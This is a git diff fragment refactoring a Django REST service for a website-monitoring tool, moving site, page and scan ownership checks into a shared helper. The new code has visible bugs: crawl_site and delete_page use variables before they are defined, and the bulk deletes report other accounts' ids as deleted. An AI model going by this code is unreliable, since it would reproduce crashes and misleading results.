+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+        
+        # checking reports
+        if resource == 'report':
+            if report_id:
+                if not Report.objects.filter(id=report_id, account=account).exists():
+                    allowed = False
+                    error = 'report not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            if page_id:
+                if not Page.objects.filter(id=page_id, account=account).exists():
+                    allowed = False
+                    error = 'page not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+        
+        # checking logs
+        if resource == 'log':
+            if log_id:
+                if not Log.objects.filter(id=log_id, account=account).exists():
+                    allowed = False
+                    error = 'log not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            
     # returning data
     data = {
         'allowed': allowed,
-        'error': error 
+        'error': error, 
+        'status': _status,
+        'code': code
     }
     return data
-        
-
-    
 
 
 
+    
+### ------ Begin Site Services ------ ###
 
 
 
 
+def create_site(request: object, delay: bool=False) -> object:
+    """ 
+    Creates a new `Site`, initiates a Crawl, initial `Scans` 
+    for each added `Page`, and generates new `Cases`. 
 
+    Expects: {
+        request : object, 
+        delay   : bool
+    }
 
+    Returns -> HTTP Response object
+    """
 
-def create_site(request, delay=False):
+    # getting data
     site_url = request.data.get('site_url')
     page_urls = request.data.get('page_urls')
     onboarding = request.data.get('onboarding', None)
+    tags = request.data.get('tags', None)
+    configs = request.data.get('configs', settings.CONFIGS)
+    no_scan = request.data.get('no_scan', False)
+    
+    # gettting account
     user = request.user
     account = Member.objects.get(user=user).account
     sites = Site.objects.filter(account=account)
 
+    # checking if in onboarding flow
     if onboarding is not None:
         if str(onboarding).lower() == 'true':
             onboarding = True
         if str(onboarding).lower() == 'false':
             onboarding = False
 
+    # clean & check site url
     if site_url.endswith('/'):
         site_url = site_url.rstrip('/')
-
     if site_url is None or site_url == '':
         data = {'reason': 'the site_url cannot be empty',}
         record_api_call(request, data, '400')
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
-    check_data = check_account(request=request, resource='site')
+    # check account and resource
+    check_data = check_account_and_resource(request=request, resource='site', action='add')
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # creating site if checks passed
+    site = Site.objects.create(
+        site_url=site_url,
+        user=user,
+        tags=tags,
+        account=account
+    )
 
-    if sites.count() >= account.max_sites:
-        data = {'reason': 'maximum number of sites reached',}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+    # create process obj
+    process = Process.objects.create(
+        site=site,
+        type='case',
+        account=account,
+        progress=1
+    )
 
-    if Site.objects.filter(site_url=site_url, user=user).exists() and user.username != 'admin':
-        data = {'reason': 'site already exists',}
-        record_api_call(request, data, '409')
-        return Response(data, status=status.HTTP_409_CONFLICT)
-    else:
-        tags = request.data.get('tags', None)
-        configs = request.data.get('configs', settings.CONFIGS)
-        no_scan = request.data.get('no_scan', False)
-        site = Site.objects.create(
-            site_url=site_url,
-            user=user,
-            tags=tags,
-            account=account
-        )
+    # auto gen Cases using bg_autocase_task
+    create_auto_cases_bg.delay(
+        site_id=site.id,
+        process_id=process.id,
+        start_url=str(site.site_url),
+        configs=configs,
+        max_cases=3,
+        max_layers=8
+    )
+    
+    # check if this is account's first site and onboarding = True
+    if Site.objects.filter(account=account).count() == 1 \
+        and onboarding == True:
+        # send POST to landing/v1/ops/prospect
+        create_prospect.delay(user_email=str(user.email))
 
-        # create process obj
-        process = Process.objects.create(
-            site=site,
-            type='case',
-            account=account,
-            progress=1
-        )
+    # check if scan requested
+    if no_scan == False:
 
-        # auto gen Cases using bg_autocase_task
-        create_auto_cases_bg.delay(
-            site_id=site.id,
-            process_id=process.id,
-            start_url=str(site.site_url),
-            configs=configs,
-            max_cases=3,
-            max_layers=8
-        )
-        
-        # check if this is account's first site and onboarding = True
-        if Site.objects.filter(account=account).count() == 1 \
-            and onboarding == True:
-            # send POST to landing/v1/ops/prospect
-            create_prospect.delay(user_email=str(user.email))
-
-        if no_scan == False:
-            if delay == True:
-                # adding pages passed in request
-                if page_urls is not None:
-                    for url in page_urls:
-                        if url.startswith(site.site_url):
-                            # add new page
-                            page = Page.objects.create(
-                                site=site,
-                                page_url=url,
-                                user=site.user,
-                                account=site.account,
-                            )
-                            create_scan(
-                                page_id=page.id, 
-                                configs=configs, 
-                                user_id=request.user.id,
-                                delay=True
-                            )
-                            site.time_crawl_started = datetime.now()
-                            site.time_crawl_completed = datetime.now()
-                            site.info["latest_scan"]["time_created"] = str(datetime.now())
-                            site.save()
-                else:
-                    create_site_and_pages_bg.delay(site_id=site.id, configs=configs)
-               
+        # check if delay was requested
+        if delay == True:
+
+            # adding pages passed in request
+            if page_urls is not None:
+                for url in page_urls:
+                    if url.startswith(site.site_url):
+                        # add new page
+                        page = Page.objects.create(
+                            site=site,
+                            page_url=url,
+                            user=site.user,
+                            account=site.account,
+                        )
+                        # create scan
+                        create_scan(
+                            page_id=page.id, 
+                            configs=configs, 
+                            user_id=request.user.id,
+                            delay=True
+                        )
+                        site.time_crawl_started = datetime.now()
+                        site.time_crawl_completed = datetime.now()
+                        site.info["latest_scan"]["time_created"] = str(datetime.now())
+                        site.save()
+            
+            # starting crawler and scans in background
             else:
-                # running crawler
-                pages = Crawler(url=site.site_url, max_urls=account.max_pages).get_links()
-                for url in pages:
-                    # add new page
-                    page = Page.objects.create(
-                        site=site,
-                        page_url=url,
-                        user=site.user,
-                        account=site.account,
-                    )
-                    # create initial scan
-                    scan = Scan.objects.create(
-                        site=site,
-                        page=page, 
-                        type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
-                        configs=configs
-                    )
-                    # run each scan component
-                    S(site=site, page=page, configs=configs).first_scan()
-                    page.info["latest_scan"]["id"] = str(scan.id)
-                    page.info["latest_scan"]["time_created"] = str(scan.time_created)
-                    page.save()
+                create_site_and_pages_bg.delay(
+                    site_id=site.id, 
+                    configs=configs
+                )
+            
+        else:
+            # running crawler
+            pages = Crawler(url=site.site_url, max_urls=account.max_pages).get_links()
+            for url in pages:
+                # add new page
+                page = Page.objects.create(
+                    site=site,
+                    page_url=url,
+                    user=site.user,
+                    account=site.account,
+                )
+                # create initial scan
+                scan = Scan.objects.create(
+                    site=site,
+                    page=page, 
+                    type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                    configs=configs
+                )
+                # run each scan component
+                S(site=site, page=page, configs=configs).build_scan()
+                page.info["latest_scan"]["id"] = str(scan.id)
+                page.info["latest_scan"]["time_created"] = str(scan.time_created)
+                page.save()
                 
+    # serialize response and return
+    serializer_context = {'request': request,}
+    serialized = SiteSerializer(site, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '201')
+    response = Response(data, status=status.HTTP_201_CREATED)
+    return response
+
 
-        serializer_context = {'request': request,}
-        serialized = SiteSerializer(site, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '201')
-        response = Response(data, status=status.HTTP_201_CREATED)
-        return response
 
 
+def crawl_site(request: object, id: str) -> object:
+    """ 
+    Initiates a new Crawl for the passed `Site`.id
 
+    Expects: {
+        'request' : object, 
+        'id'      : str
+    }
+    
+    Returns -> HTTP Response object
+    """
 
-def crawl_site(request, id):
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
-    check_data = check_account(request=request)
+    # setting configs
+    configs = request.data.get('configs', settings.CONFIGS)
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, site_id=id, resource='site')
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
-    try:
-        site = Site.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Site with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
-    
-    if site.account != account:
-        data = {'reason': 'cannot crawl a Site you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
-    
-    configs = request.data.get('configs', None)
-    if not configs:
-        configs = settings.CONFIGS
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
     # update site info
     site.time_crawl_completed = None
     site.save()
 
+    # starting crawl
     crawl_site_bg.delay(site_id=site.id, configs=configs)
 
+    # serializing and returning
     serializer_context = {'request': request,}
     serialized = SiteSerializer(site, context=serializer_context)
     data = serialized.data
@@ -297,31 +550,48 @@ def crawl_site(request, id):
 
 
 
-def get_sites(request):
+def get_sites(request: object) -> object:
+    """ 
+    Get one or more `Sites` in paginated response
+
+    Expects: {
+        'request': object,
+    } 
+
+    Returns -> HTTP Response object
+    """
+
+    # getting request data
     site_id = request.query_params.get('site_id')
     user = request.user
-    account = Member.objects.get(user=user).account
 
+    # getting account
+    account = Member.objects.get(user=user).account
 
+    # check if site_id was passed
     if site_id != None:
+
+        # check account and resource
+        check_data = check_account_and_resource(request=request, site_id=site_id, resource='site')
+        if not check_data['allowed']:
+            data = {'reason': check_data['error'],}
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
         
-        try:
-            site = Site.objects.get(id=site_id)
-        except:
-            data = {'reason': 'cannot find a Site with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        
-        if site.account != account:
-            data = {'reason': 'cannot retrieve a Site you do not own',}
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
+        # get site if checks passed
+        site = Site.objects.get(id=site_id)
+
+        # serialize single site response and return
         serializer_context = {'request': request,}
         serialized = SiteSerializer(site, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
     
+    # getting all account assoicated sites
     sites = Site.objects.filter(account=account).order_by('-time_created')
+
+    # serialize response and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(sites, request)
     serializer_context = {'request': request,}
@@ -333,21 +603,69 @@ def get_sites(request):
 
 
 
-def delete_site(request, id):
+def get_site(request: object, id: str) -> object:
+    """
+    Get single `Site` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
-    
-    try:
-        site = Site.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Site with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
 
-    if site.account != account:
-        data = {'reason': 'delete a Site you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+        site_id=id, resource='site'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get site if checks passed
+    site = Site.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = SiteSerializer(site, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK) 
+
+
+
+
+def delete_site(request: object, id: str) -> object:
+    """ 
+    Deletes the `Site` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, site_id=id, resource='site')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+    
+    # get site if checks passed
+    site = Site.objects.get(id=id)
 
     # remove s3 objects
     delete_site_s3_bg.delay(site_id=id)
@@ -358,7 +676,8 @@ def delete_site(request, id):
     # remove site
     site.delete()
 
-    data = {'message': 'Site has been deleted',}
+    # returning response
+    data = {'message': 'site deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
@@ -366,12 +685,29 @@ def delete_site(request, id):
 
 
 
-def delete_many_sites(request):
+def delete_many_sites(request: object) -> object:
+    """ 
+    Deletes one or more `Sites` associated
+    with the passed "request.ids" 
+
+    Expcets: {
+        'request' : object,
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     ids = request.data.get('ids')
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # check for ids
     if ids is not None:
+
+        # setting defaults
         count = len(ids)
         num_succeeded = 0
         succeeded = []
@@ -380,20 +716,26 @@ def delete_many_sites(request):
         user = request.user
         this_status = True
 
+        # loop through passed ids
         for id in ids:
+
+            # trying to delete site
             try:
                 site = Site.objects.get(id=id)
                 if site.account == account:
                     delete_site_s3_bg.delay(site_id=id)
                     delete_tasks(site=site)
                     site.delete()
+                # add to success attempts
                 num_succeeded += 1
                 succeeded.append(str(id))
             except:
+                # add to failed attempts
                 num_failed += 1
                 failed.append(str(id))
                 this_status = False
 
+        # format response
         data = {
             'success': this_status,
             'num_succeeded': num_succeeded,
@@ -401,10 +743,13 @@ def delete_many_sites(request):
             'num_failed': num_failed,
             'failed': failed, 
         }
+
+        # returning response
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
         return response
     
+    # returning error
     data = {
         'reason': 'you must provide an array of id\'s'
     }
@@ -415,67 +760,88 @@ def delete_many_sites(request):
 
 
 
+### ------ Begin Page Services ------ ###
 
 
 
 
+def create_page(request: object, delay: bool=False) -> object:
+    """ 
+    Creates one or more pages.
 
+    Expcets: {
+        'requests': object
+    }
+    
+    Returns -> HTTP Response object
+    """
 
-def create_page(request, delay=False):
+    # getting request data
     site_id = request.data.get('site_id')
     page_url = request.data.get('page_url')
     page_urls = request.data.get('page_urls')
+    tags = request.data.get('tags', None)
+    configs = request.data.get('configs', settings.CONFIGS)
+    no_scan = request.data.get('no_scan', False)
+
+    # retrieving user, account, & site
     user = request.user
     account = Member.objects.get(user=user).account
     site = Site.objects.get(id=site_id)
-    pages = Page.objects.filter(site=site)
 
+    # creating many pages if page_urls was passed
     if page_urls is not None:
         data = create_many_pages(request=request, obj_response=False)
         record_api_call(request, data, '201')
         response = Response(data, status=status.HTTP_201_CREATED)
         return response
-
+    
+    # validating page_url
     if page_url.endswith('/'):
         page_url = page_url.rstrip('/')
-
     if page_url is None or page_url == '':
         data = {'reason': 'the page_url cannot be empty',}
         record_api_call(request, data, '400')
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
-    check_data = check_account(request=request, resource='page', site_id=site_id)
+    # check account and resource
+    check_data = check_account_and_resource(
+        request=request, resource='page', site_id=site_id, page_url=page_url,
+        action='add'
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
-    if pages.count() >= account.max_pages:
-        data = {'reason': 'maximum number of pages reached',}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+    # adding page if checks passed
+    page = Page.objects.create(
+        site=site,
+        page_url=page_url,
+        user=user,
+        tags=tags,
+        account=account
+    )
 
-    if Page.objects.filter(page_url=page_url, user=user).exists():
-        data = {'reason': 'page already exists',}
-        record_api_call(request, data, '409')
-        return Response(data, status=status.HTTP_409_CONFLICT)
-    else:
-        tags = request.data.get('tags', None)
-        configs = request.data.get('configs', None)
-        no_scan = request.data.get('no_scan', False)
-        page = Page.objects.create(
+    # deciding on scan
+    if no_scan == False:
+
+        # create initial scan
+        scan = Scan.objects.create(
             site=site,
-            page_url=page_url,
-            user=user,
-            tags=tags,
-            account=account
+            page=page, 
+            type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+            configs=configs
         )
+        page.info["latest_scan"]["id"] = str(scan.id)
+        page.info["latest_scan"]["time_created"] = str(scan.time_created)
+        page.save()
 
-        if not configs:
-            configs = settings.CONFIGS
-
-        if no_scan == False:
+        if delay == True:
+            # running scan in background
+            scan_page_bg.delay(scan_id=scan.id, configs=configs)
 
+        else:
             # create initial scan
             scan = Scan.objects.create(
                 site=site,
@@ -483,57 +849,66 @@ def create_page(request, delay=False):
                 type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
                 configs=configs
             )
+            # run each scan component
+            S(site=site, page=page, configs=configs).build_scan()
             page.info["latest_scan"]["id"] = str(scan.id)
             page.info["latest_scan"]["time_created"] = str(scan.time_created)
             page.save()
+            
+    # serialize response and return
+    serializer_context = {'request': request,}
+    serialized = PageSerializer(page, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '201')
+    response = Response(data, status=status.HTTP_201_CREATED)
+    return response
 
-            if delay == True:
-                scan_page_bg.delay(scan_id=scan.id, configs=configs)
 
-            else:
-                # create initial scan
-                scan = Scan.objects.create(
-                    site=site,
-                    page=page, 
-                    type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
-                    configs=configs
-                )
-                # run each scan component
-                S(site=site, page=page, configs=configs).first_scan()
-                page.info["latest_scan"]["id"] = str(scan.id)
-                page.info["latest_scan"]["time_created"] = str(scan.time_created)
-                page.save()
-                
 
-        serializer_context = {'request': request,}
-        serialized = PageSerializer(page, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '201')
-        response = Response(data, status=status.HTTP_201_CREATED)
-        return response
 
+def create_many_pages(request: object, obj_response: bool=False) -> object | dict:
+    """ 
+    Bulk creates `Pages` for each url passed in "page_urls"
 
+    Expcets: {
+        'request'       : object,
+        'obj_response'  : bool
+    }
 
+    Returns -> dict or HTTP Response object
+    """
 
-def create_many_pages(request, obj_response=False):
+    # get request data
     site_id = request.data.get('site_id')
     page_urls = request.data.get('page_urls')
+    tags = request.data.get('tags', None)
+    configs = request.data.get('configs', settings.CONFIGS)
+    no_scan = request.data.get('no_scan', False)
+    
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
+
+    # get site and current pages
     site = Site.objects.get(id=site_id)
     pages = Page.objects.filter(site=site)
 
-    check_data = check_account(request=request, resource='page', site_id=site_id)
+    # check account and resource
+    check_data = check_account_and_resource(
+        request=request, resource='page', site_id=site_id, action='add'
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
+    # pre check for max_pages
     if (pages.count() + len(page_urls)) >= account.max_pages:
         data = {'reason': 'maximum number of pages reached',}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 
+    # setting defaults
     count = len(page_urls)
     num_succeeded = 0
     succeeded = []
@@ -541,17 +916,17 @@ def create_many_pages(request, obj_response=False):
     failed = []
     this_status = True
 
+    # looping through each "page_url"
     for url in page_urls:
 
+        # clean url
         if url.endswith('/'):
             url = url.rstrip('/')
 
+        # check for duplicates
         if not Page.objects.filter(page_url=url, user=user).exists():
             
             # adding pages
-            tags = request.data.get('tags', None)
-            configs = request.data.get('configs', None)
-            no_scan = request.data.get('no_scan', False)
             page = Page.objects.create(
                 site=site,
                 page_url=url,
@@ -560,9 +935,7 @@ def create_many_pages(request, obj_response=False):
                 account=account
             )
 
-            if not configs:
-                configs = settings.CONFIGS
-
+            # deciding on scan
             if no_scan == False:
 
                 # create initial scan
@@ -572,6 +945,8 @@ def create_many_pages(request, obj_response=False):
                     type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
                     configs=configs
                 )
+                
+                # update page with new scan data
                 page.info["latest_scan"]["id"] = str(scan.id)
                 page.info["latest_scan"]["time_created"] = str(scan.time_created)
                 page.save()
@@ -589,6 +964,7 @@ def create_many_pages(request, obj_response=False):
             failed.append(url)
             num_failed = num_failed + 1
 
+    # formatting response
     data = {
         'success': this_status,
         'num_succeeded': num_succeeded,
@@ -596,6 +972,8 @@ def create_many_pages(request, obj_response=False):
         'num_failed': num_failed,
         'failed': failed, 
     }
+
+    # decide on response type
     if obj_response:
         record_api_call(request, data, '201')
         response = Response(data, status=status.HTTP_201_CREATED)
@@ -605,55 +983,59 @@ def create_many_pages(request, obj_response=False):
 
 
 
+def get_pages(request: object) -> object:
+    """ 
+    Get one or more `Pages` from either 
+    "page_id" or "site_id"
 
-def get_pages(request):
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     site_id = request.query_params.get('site_id')
     page_id = request.query_params.get('page_id')
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # check for params
     if page_id is None and site_id is None:
         data = {'reason': 'must provide a Site or Page id'}
         record_api_call(request, data, '400')
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
-
-    if site_id != None:
-        
-        try:
-            site = Site.objects.get(id=site_id)
-            print('got site')
-        except:
-            data = {'reason': 'cannot find a Site with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        
-        if site.account != account:
-            data = {'reason': 'cannot retrieve a Site you do not own',}
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-
-
+    # check account and resource
+    check_data = check_account_and_resource(
+        request=request, resource='page', site_id=site_id, page_id=page_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+    
+    # getting single page
     if page_id != None:
         
-        try:
-            page = Page.objects.get(id=page_id)
-        except:
-            data = {'reason': 'cannot find a Page with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        
-        if page.account != account:
-            data = {'reason': 'cannot retrieve a Page you do not own',}
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
+        # get page
+        page = Page.objects.get(id=page_id)
 
+        # serialize and return
         serializer_context = {'request': request,}
         serialized = PageSerializer(page, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
-    
+    # get site and assocaited pages
+    site = Site.objects.get(id=site_id)
     pages = Page.objects.filter(site=site).order_by('-time_created')
+
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(pages, request)
     serializer_context = {'request': request,}
@@ -665,24 +1047,69 @@ def get_pages(request):
 
 
 
-def delete_page(request, id):
+def get_page(request: object, id: str) -> object:
+    """
+    Get single `Page` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
-    
-    try:
-        page = Page.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Page with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
 
-    if page.account != account:
-        data = {'reason': 'delete a Page you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+        page_id=id, resource='page'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
-    # remove s3 objects
-    delete_page_s3_bg.delay(page_id=id, site_id=page.site.id)
+    # get page if checks passed
+    page = Page.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = PageSerializer(page, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK) 
+
+
+
+
+def delete_page(request: object, id: str) -> object:
+    """ 
+    Deletes the `Page` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+    
+    # get user and account info
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, page_id=id, resource='page')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # remove s3 objects
+    delete_page_s3_bg.delay(page_id=id, site_id=page.site.id)
 
     # remove any schedules and associated tasks
     delete_tasks(page=page)
@@ -690,6 +1117,7 @@ def delete_page(request, id):
     # remove page
     page.delete()
 
+    # format and return
     data = {'message': 'Page has been deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
@@ -698,12 +1126,29 @@ def delete_page(request, id):
 
 
 
-def delete_many_pages(request):
+def delete_many_pages(request: object) -> object:
+    """ 
+    Deletes one or more `Pages` associated
+    with the passed "request.ids" 
+
+    Expcets: {
+        'request' : object,
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     ids = request.data.get('ids')
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # check for ids
     if ids is not None:
+
+        # setting defaults
         count = len(ids)
         num_succeeded = 0
         succeeded = []
@@ -712,20 +1157,26 @@ def delete_many_pages(request):
         user = request.user
         this_status = True
 
+        # loop through passed ids
         for id in ids:
+
+            # trying to delete site
             try:
                 page = Page.objects.get(id=id)
                 if page.account == account:
                     delete_page_s3_bg.delay(page_id=id, site_id=page.site.id)
                     delete_tasks(page=page)
                     page.delete()
+                # add to success attempts
                 num_succeeded += 1
                 succeeded.append(str(id))
             except:
+                # add to failed attempts
                 num_failed += 1
                 failed.append(str(id))
                 this_status = False
 
+        # format data
         data = {
             'success': this_status,
             'num_succeeded': num_succeeded,
@@ -733,10 +1184,13 @@ def delete_many_pages(request):
             'num_failed': num_failed,
             'failed': failed, 
         }
+        
+        # returning response
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
         return response
     
+    # returning error
     data = {
         'reason': 'you must provide an array of id\'s'
     }
@@ -747,87 +1201,87 @@ def delete_many_pages(request):
 
 
 
+### ------ Begin Scan Services ------ ###
+
+
 
 
+def create_scan(request: object=None, delay: bool=False, **kwargs) -> dict | object:
+    """ 
+    Create one or more `Scans` depanding on 
+    `Page` or `Site` scope
 
+    Expects: {
+        'request': object, 
+        'delay': bool
+    }
 
+    Returns -> dict or HTTP Response object
+    """
 
-def create_scan(request=None, delay=False, *args, **kwargs):
+    # get request data
     if request is not None:
         site_id = request.data.get('site_id')
         page_id = request.data.get('page_id')
-        configs = request.data.get('configs')
+        configs = request.data.get('configs', settings.CONFIGS)
         types = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
         tags = request.data.get('tags')
         user = request.user
+    
+    # getting kwargs data
     if request is None:
         site_id = kwargs.get('site_id')
         page_id = kwargs.get('page_id')
-        configs = kwargs.get('configs')
+        configs = kwargs.get('configs', settings.CONFIGS)
         types = kwargs.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
         tags = kwargs.get('tags')
         user_id = kwargs.get('user_id')
         user = User.objects.get(id=user_id)
+    
+    # getting account
     account = Member.objects.get(user=user).account
 
-    if request is not None:
-        check_data = check_account(user=user, resource='scan')
-        if not check_data['allowed']:
-            data = {'reason': check_data['error'], 'success': False}
-            if request is not None:
-                record_api_call(request, data, '402')
-                return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
-            return data
-
+    # verifying types
     if len(types) == 0:
         types = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
-        
-    
+
+    # deciding on scope
+    resource = 'site' if site_id else 'page'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=user, resource=resource, page_id=page_id, site_id=site_id
+    )
+    if not check_data['allowed']:
+        data = {
+            'reason': check_data['error'], 
+            'success': False, 
+            'code': check_data['code'], 
+            'status': check_data['status']
+        }
+        if request is not None:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
+
+    # get site or page
     if site_id is not None:
-        try:
-            site = Site.objects.get(id=site_id)
-        except:
-            data = {'reason': 'cannot find a Site with that id', 'success': False,}
-            if request is not None:
-                record_api_call(request, data, '404')
-                return Response(data, status=status.HTTP_404_NOT_FOUND)
-            return data
-
-        if site.account != account:
-            data = {'reason': 'create a Scan of a Site you do not own', 'success': False,}
-            if request is not None:
-                record_api_call(request, data, '403')
-                return Response(data, status=status.HTTP_403_FORBIDDEN)
-            return data
-    
+        site = Site.objects.get(id=site_id)
     if page_id is not None:
-        try:
-            page = Page.objects.get(id=page_id)
-        except:
-            data = {'reason': 'cannot find a Page with that id', 'success': False,}
-            if request is not None:
-                record_api_call(request, data, '404')
-                return Response(data, status=status.HTTP_404_NOT_FOUND)
-            return data
-
-        if page.account != account:
-            data = {'reason': 'create a Scan of a Page you do not own', 'success': False,}
-            if request is not None:
-                record_api_call(request, data, '403')
-                return Response(data, status=status.HTTP_403_FORBIDDEN)
-            return data
-
-    if not configs:
-        configs = settings.CONFIGS
+        page = Page.objects.get(id=page_id)
 
+    # setting pages to loop through
     if site_id is not None and page_id is None:
         pages = Page.objects.filter(site=site)
-    
     if site_id is None and page_id is not None:
         pages = [page,]
 
+    # setting default
     created_scans = []
+
+    # looping through each page
     for p in pages:
+
         # creating scan obj
         created_scan = Scan.objects.create(
             site=p.site,
@@ -856,7 +1310,8 @@ def create_scan(request=None, delay=False, *args, **kwargs):
             if 'vrt' in types or 'full' in types:
                 run_vrt_bg.delay(scan_id=created_scan.id)
         else:
-            updated_scan = S(scan=created_scan, configs=configs).first_scan()
+            # running scan synchronously
+            S(scan=created_scan, configs=configs).build_scan()
             message = 'Scans have completed running'
 
     # returning dynaminc response
